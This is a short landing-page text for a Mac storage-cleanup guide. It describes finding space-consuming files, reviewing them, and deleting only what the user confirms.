Clear steps from check to cleanup

The guide helps you quickly understand what is taking up storage on your Mac. You go through everything step by step: find unnecessary data, review the results, and clean only what you actually want to remove.

Find what is taking space

Downloads, old installers, duplicate archives, videos, app cache, and generated files become easy to spot.

Review before deleting

The user stays in control. Make it clear that important files should never be removed without confirmation.

Make room and keep it clean

Guide the user through cleanup actions and storage settings so the result feels real, controlled, and repeatable.
